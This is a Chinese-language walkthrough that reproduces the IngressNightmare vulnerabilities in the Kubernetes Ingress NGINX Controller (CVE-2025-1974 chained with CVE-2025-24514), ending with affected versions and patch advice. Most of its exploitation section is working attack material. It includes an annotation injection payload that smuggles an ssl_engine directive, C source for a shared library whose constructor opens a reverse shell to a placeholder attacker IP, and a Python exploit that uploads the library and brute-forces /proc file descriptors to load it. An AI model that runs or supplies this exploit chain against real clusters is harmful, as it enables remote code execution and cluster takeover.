IngressNightmare漏洞集群复现

CVE-2025-1974复现

漏洞简介

Ingress Nginx Controller 是 K8s 上最受欢迎的 Ingress 控制器之一,有权访问 ingress-nginx 准入控制器 webhook 的攻击者可以创建恶意的 ingress-nginx Ingress 配置,从而导致 RCE

漏洞原因

当Ingress Nginx Controller处理传入的 AdmissionReview请求时,它会根据模板文件和提供的 Ingress 对象生成一个临时 NGINX 配置文件。然后,它使用 nginx -t命令测试临时配置文件的有效性。

问题关键点有三个,谁可以发送AdmissionReview请求?,如何注入恶意NGINX配置文件?,如何利用nginx -t 命令执行rce?

对于第一个问题,通常,只有 Kubernetes API 服务器应该发送这些 AdmissionReview 请求。但是,由于 Admission Controller 缺少身份验证,因此具有最小网络访问权限的攻击者可以从集群内的任何 Pod 构建并发送任意 AdmissionReview 请求。

第二个问题,CVE-2025-1974漏洞是IngressNightmare漏洞集群中的一个,与其同时爆出的CVE-2025-24514,CVE-2025-1097,CVE-2025-1098皆为远程NGINX配置注入,可利用这三个漏洞实现注入任意 NGINX 配置指令。

第三个问题,Ingress Nginx Controller 中有许多可用的指令,ssl_engine 指令是 OpenSSL 模块的一部分,这个指令可以在配置文件中的任何位置使用,以在 NGINX 配置测试阶段加载任意库文件。此时出现第四个问题,如何上传恶意共享库文件?

如果 HTTP 请求正文大小大于特定阈值(默认为8KB)时,NGINX 有时会将请求体保存到临时文件中,将请求中的标头设置为大于实际内容大小。NGINX 会一直等待发送更多数据,这会导致进程挂起,让文件描述符打开的时间更长,通过遍历爆破 PID 和 FD 编号,找到文件描述符,对恶意共享库进行加载。

漏洞代码

ingress-nginx/internal/ingress/controller/controller.go

1
2
3
4
5
6
7
8
9
10
11
content, err := n.generateTemplate(cfg, *pcfg)
if err != nil {
n.metricCollector.IncCheckErrorCount(ing.ObjectMeta.Namespace, ing.Name)
return err
}

err = n.testTemplate(content)
if err != nil {
n.metricCollector.IncCheckErrorCount(ing.ObjectMeta.Namespace, ing.Name)
return err
}

generateTemplate函数生成cfg文件,testTemplate函数进行配置测试

testTemplate函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
func (n *NGINXController) testTemplate(cfg []byte) error {
if len(cfg) == 0 {
return fmt.Errorf("invalid NGINX configuration (empty)")
}
tmpfile, err := os.CreateTemp(filepath.Join(os.TempDir(), "nginx"), tempNginxPattern)
if err != nil {
return err
}
defer tmpfile.Close()
err = os.WriteFile(tmpfile.Name(), cfg, file.ReadWriteByUser)
if err != nil {
return err
}
out, err := n.command.Test(tmpfile.Name())
if err != nil {
// this error is different from the rest because it must be clear why nginx is not working
oe := fmt.Sprintf(`
-------------------------------------------------------------------------------
Error: %v
%v
-------------------------------------------------------------------------------
`, err, string(out))

return errors.New(oe)
}

os.Remove(tmpfile.Name())
return nil
}

在testTemplate函数调用Test函数,Test函数代码如下

1
2
3
4
func (nc NginxCommand) Test(cfg string) ([]byte, error) {
//nolint:gosec // Ignore G204 error
return exec.Command(nc.Binary, "-c", cfg, "-t").CombinedOutput()
}

漏洞复现

使用minikube搭建环境

1
2
3
curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64

sudo install minikube-linux-amd64 /usr/local/bin/minikube

启动minickube (在这里可能会出现很多报错,可根据具体原因解决,此处省略)

1
minikube start

安装受漏洞影响版本的ingress-nignx

1
2
3
4
5
6
7
8
9
wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.11.2/deploy/static/provider/cloud/deploy.yaml

#下面两条命令用于换源
sed -i 's#registry.k8s.io/ingress-nginx/controller:v1.11.2@sha256:d5f8217feeac4887cb1ed21f27c2674e58be06bd8f5184cacea2a69abaf78dce#registry.aliyuncs.com/google_containers/nginx-ingress-controller:v1.11.2#g' deploy.yaml

sed -i 's#registry.k8s.io/ingress-nginx/kube-webhook-certgen:v1.4.3@sha256:a320a50cc91bd15fd2d6fa6de58bd98c1bd64b9a6f926ce23a600d87043455a3#registry.aliyuncs.com/google_containers/kube-webhook-certgen:v1.4.3#g' deploy.yaml

# 安装
kubectl apply -f deploy.yaml

一般情况下启动的validating webhook监听在8443端口 ,用putforward命令进行端口转发

1
kubectl port-forward -n ingress-nginx ingress-nginx-controller-76c86b6bbd-s86qn 2333:8443

使用网上的Poc进行验证

1
2
3
gir clone https://github.com/sandumjacob/IngressNightmare-POCs
cd ./CVE-2025-1974
curl --insecure -v -H "Content-Type: application/json" --data @poc.json https://localhost:2333/123

查看日志

1
kubectl logs ingress-nginx-controller-76c86b6bbd-s86qn -n ingress-nginx

出现以下语句,说明验证了上传的nginx配置,即存在漏洞

1
I0326 02:53:15.823881       7 main.go:107] "successfully validated configuration, accepting" ingress="/"

进行深一步利用需搭配IngressNightmare的其余漏洞,攻击分三步实现RCE:上传恶意.so文件至Pod临时存储;通过Content-Length标头维持文件描述符;注入ssl_engine指令加载恶意库。

进一步利用

通过 CVE-2025-24514 + CVE-2025-1974 实现RCE

当我们在auth-url annotation处配置如下时

1
nginx.ingress.kubernetes.io/auth-url: "http://example.com/#;\ninjection_point" 

由于注释符的原因,\n会被解析为回车,于是配置文件中会显示为如下格式

1
2
3
4
5
6
... 
proxy_http_version 1.1;
set $target http://example.com/#;
injection_point
proxy_pass $target;
...

如果我们将上面的injection_point替换为ssl_engine指令,即可在测试配置文件时加载恶意库
编写恶意库文件,用于反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>


__attribute__((constructor)) static void reverse_shell(void)
{
char *server_ip="xx.xx.xx.xx";
uint32_t server_port=6666;
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
char *args[] = {"/bin/sh", NULL};
execve("/bin/sh", args, NULL);
}

进行编译

1
gcc -shared -fPIC shell.c -o shell.so

接下来就是利用nginx的客户端缓冲机制暂存shell文件,并且遍历进程pid和fd触发加载

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import json
import requests

# 此处注意,由于是本地验证 我执行了以下两条命令进行端口转发
#kubectl port-forward -n ingress-nginx svc/ingress-nginx-controller-admission 2333:8443 &
#kubectl port-forward -n ingress-nginx svc/ingress-nginx-controller 2888:80 &

admission_url = 'https://localhost:2333/123'
url = 'http://localhost:2888'

'''
{
"apiVersion": "admission.k8s.io/v1",
"kind": "AdmissionReview",
"request": {
"kind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"resource": {
"group": "",
"version": "v1",
"resource": "namespaces"
},
"operation": "CREATE",
"object": {
"metadata": {
"name": "deads",
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": "injection"
}
},
"spec": {
"rules": [
{
"host": "jacobsandum.com",
"http": {
"paths": [
{
"path": "/",
"pathType": "Prefix",
"backend": {
"service": {
"name": "kubernetes",
"port": {
"number": 80
}
}
}
}
]
}
}
],
"ingressClassName": "nginx"
}
}
}
}

'''
with open("poc.json", "r") as f:
data = json.load(f)

with open("shell.so", "rb") as f:
shellcode = f.read()

def upload():
real_lenth = len(shellcode)
fake_lenth = real_lenth + 20

try:
headers = {
"Content-length": str(fake_lenth),
"Content-Type": "application/octet-stream",
"Connection": "keep-alive"
}
res = requests.post(url, headers=headers,data= shellcode)
print("[+]upload success")
except Exception as e:
print("[!]upload failed\n")
print(e)



def testing_to_load():
for pid in range(0,41):
for fd in range(0,41):
path_test = f'/proc/{pid}/fd/{fd}'
data["request"]["object"]["metadata"]["annotations"][
"nginx.ingress.kubernetes.io /"
] = "http://example.com/#;}}}\\n\\nssl_engine %s;\\n\\n" % (path_test,)

try:
res = requests.post(admission_url, json=data, verify=False)
print("[+]testing" + " " + path_test)
except Exception as e:
print("[!]" + " error parsing response")
print(e)

upload()
testing_to_load()

影响范围

Ingress NGINX Controller 版本< 1.12.1

Ingress NGINX Controller 版本< 1.11.5

Ingress NGINX Controller 版本< 1.10.7

修复建议

这些漏洞已在 Ingress NGINX Controller 的 1.12.1、1.11.5 和 1.10.7 版本中得到修复。建议用户尽快更新到最新版本,并确保准入 Webhook 端点不会对外暴露